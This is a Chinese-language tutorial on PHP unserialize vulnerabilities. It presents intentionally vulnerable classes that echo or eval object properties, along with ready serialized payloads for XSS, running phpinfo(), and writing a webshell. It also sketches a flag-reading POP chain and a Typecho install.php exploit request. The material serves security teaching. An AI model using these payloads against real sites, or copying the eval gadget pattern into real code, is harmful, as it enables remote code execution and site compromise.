反序列化漏洞

1
对象 → 序列化 → 中间格式（文本/JSON/XML/二进制）→ 反序列化 → 对象

1
<?php
2
class Student {
3
    public $name = "jack";
4
    public $age = 18;
5
    public $address = "beijing";
6
}
7

8
$student = new Student();
9
$str = serialize($student);
10
echo $str;
11
?>

1
O:7:"Student":3:{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}

1
O:7:"Student":3:{...}
2
│ │  │        │
3
│ │  │        └── 属性数量
4
│ │  └── 类名
5
│ └── 类名长度
6
└── 对象类型（Object）

1
s:4:"name";s:4:"jack";
2
│ │   │    │ │   │
3
│ │   │    │ │   └── 属性值
4
│ │   │    │ └── 属性值类型（s=字符串）
5
│ │   │    └── 属性值长度
6
│ │   └── 属性名
7
│ └── 属性名长度
8
└── 数据类型（s=字符串）

1
<?php
2
$str = 'O:7:"Student":3:{s:4:"name";s:4:"jack";s:3:"age";i:18;s:7:"address";s:7:"beijing";}';
3
$obj = unserialize($str);
4
var_dump($obj);
5
echo $obj->name;  // jack
6
?>

1
O:3:"Dog":1:{s:4:"name";s:26:"<script>alert(1);</script>";}

1
<?php
2
class Cat {
3
    public $name = "波斯猫";
4
    public function __wakeup() {
5
        echo "开始加载存档......";
6
        echo $this->name;
7
        echo "加载存档完成......";
8
    }
9
}
10

11
$data = $_REQUEST['data'];
12
unserialize($data);
13
?>

1
O:3:"Cat":1:{s:4:"name";s:32:"<img src='1' onerror='alert(1)'>";}

1
<?php
2
class Cat {
3
    public $name = "波斯猫";
4
    public function __wakeup() {
5
        eval($this->name);
6
    }
7
}
8

9
$data = $_REQUEST['data'];
10
unserialize($data);
11
?>

1
O:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}

1
O:3:"Cat":1:{s:4:"name";s:61:"file_put_contents('shell.php','<?php eval($_REQUEST[6]);?>');";}

1
<?php
2
class S{
3
    var $test = "pikachu";
4
    function __construct(){
5
        echo $this->test;
6
    }
7
}
8

9
if(isset($_POST['o'])){
10
    $s = $_POST['o'];
11
    $unser = unserialize($s);
12
    echo $unser->test;
13
}
14
?>

1
O:1:"S":1:{s:4:"test";s:29:"<script>alert('gxa')</script>";}

1
<?php
2
class Readme{
3
    public $source = 'flag.php';
4
    public function __toString() {
5
        return highlight_file($this->source, true);
6
    }
7
}
8

9
$todos[] = new Readme();
10
$m = serialize($todos);
11
$h = md5($m);
12
echo $h . urlencode($m);
13
?>

1
__destruct() → __toString() → __call() → __clone() → __isset() → __invoke() → 读取 flag

1
Start::__destruct()
2
  → 将 $this->name 视为对象 → 触发 Sec::__toString()
3
    → Sec::$this->obj->check() → 触发 Easy::__call()
4
      → $this->cla = clone $var[0] → 触发 eeee::__clone()
5
        → isset($this->obj->cmd) → 触发 Start::__isset()
6
          → $func = $this->func; $func() → 触发 Sec::__invoke()
7
            → file_get_contents('/flag')

1
URL: http://www.typecho.com/install.php?finish=
2
请求头: Referer: http://www.typecho.com
3
请求体: __typecho_config=1111

1
O:类名长度:"类名":属性数:{属性1;属性2;...}
2
s:长度:"值"; i:数字; b:布尔; a:数组; N:NULL

1
__destruct()   // 对象销毁 → 最常用的入口
2
__wakeup()     // 反序列化时自动触发
3
__toString()   // 对象被当字符串使用

1
// 执行 phpinfo
2
O:3:"Cat":1:{s:4:"name";s:10:"phpinfo();";}
3

4
// 写 Webshell
5
O:3:"Cat":1:{s:4:"name";s:61:"file_put_contents('shell.php','<?php eval($_REQUEST[6]);?>');";}
6

7
// XSS
8
O:3:"Cat":1:{s:4:"name";s:32:"<img src='1' onerror='alert(1)'>";}